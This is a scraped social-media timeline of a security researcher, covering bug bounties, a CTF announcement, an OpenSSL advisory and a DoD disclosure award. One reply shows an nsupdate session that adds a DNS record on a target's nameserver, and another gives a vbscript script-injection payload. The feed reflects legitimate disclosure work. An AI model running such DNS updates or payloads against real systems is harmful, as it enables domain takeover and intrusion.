Fredrik N. Almroth

Co-Founder & Security Researcher at @detectify. I code things to hack stuff. PGP/MIT: 0xEDF8D9828B06A7F7 #shellpopper

[Fredrik N. Almroth @almroot]

@timhwang @samhouston This expression to validate prime numbers: ^1?$|^(11+?)\1+$

See: https://t.co/B8dfZ141en

[Fredrik N. Almroth @almroot]

@LinusLarsson https://t.co/9mQta3vvzS

[HackingForSoju @HackingForSoju]

🇸🇪Midnight Sun CTF is back for it's 6th straight year!

Registration is open here: https://t.co/N4U2SzYfCq

🏆Qualifiers will run from 08 April, 2023 11:00 UTC -- 09 April, 2023 11:00 UTC

🥇On-site finals are on 18 August. As always check https://t.co/gRgvz52cA5 for details

[Fredrik N. Almroth @almroot]

@d0nutptr So it was you all along! smh

[Fredrik N. Almroth @almroot]

@_tsuro @cffsmith http://__whois__.au

[Fredrik N. Almroth @almroot]

@TomNomNom My condolences

[SANS.edu Internet Storm Center @sans_isc]

OpenSSL 3.0.7 is out. TL&DR: Punycode issue with international domains used in certs. Needs CA to sign malicious cert. Doesn't look like a "huge deal" IMHO. Relax.. Patch.. Repeat... #openssl

[Fredrik N. Almroth @almroot]

@zonduu1 vbscript:msgbox%201 in ancient IE? ¯\_(ツ)_/¯

[SEC-T @SEC_T_org]

Recording of “JavaScript Prototype Poisoning, an unexplored bug-class, and it’s everywhere“ by Christoffer Jerkeby & Anton Linné is up: https://t.co/Fr8AcrHz54 https://t.co/Fr8AcrHz54

[STÖK ✌️ @stokfredrik]

How to turn bugs into a "passive" income stream! ft @detectify’s @almroot
https://t.co/GVh2AkRKp4

#cybersecurity #bugbounty

[Fredrik N. Almroth @almroot]

@alkalinesec @BlueSpaceCanary @iximeow

[Frans Rosén @fransrosen]

I was finally able to disclose one of the examples from my last blog post https://t.co/pODPvDUOU9
Here's the PoC-movie from the report to Reddit:

[Fredrik N. Almroth @almroot]

@TomNomNom Good luck and godspeed! :D

[Frans Rosén @fransrosen]

I decided to make a homage-post to @homakov and @Nirgoldshlager about different OAuth-token leakage methods I've been researching – ten years after their blog posts that inspired me to start hunt for bugs ♥️ thank you.
https://t.co/pODPvDUOU9

[STÖK ✌️ @stokfredrik]

Had a great conversation about @detectify ‘s crowdsource program with @almroot today in the studio. Def a interesting way of creating a passive income flow, submit a finding, preferably unauth, get it verified and get paid every time it hits / fires on any of their customers!

[shubs @infosec_au]

Bypassing CDN WAF’s with Alternate Domain Routing

https://t.co/7lVmfuR5Ru

[Fredrik N. Almroth @almroot]

@SSkylinearafat @DC3VDP @DeptofDefense almroot@x:~$ nsupdate
> server <ip-of-target-ns>
> update add takeover.<https://t.co/V2rG3QXOP7> 60 A 1.3.3.7
> send

[Fredrik N. Almroth @almroot]

@martenmickos Tack ska du ha!

[DC3 VDP @DC3VDP]

The @DeptofDefense VDP #ResearcheroftheMonth for January 2022 is @almroot. They submitted a critical report on manipulating DNS that enabled them to add DNS records to a DoD server!
#VDPHackersFTW #cybersecurity

[Fredrik N. Almroth @almroot]

@stokfredrik Snyggt jobbat! Grattis!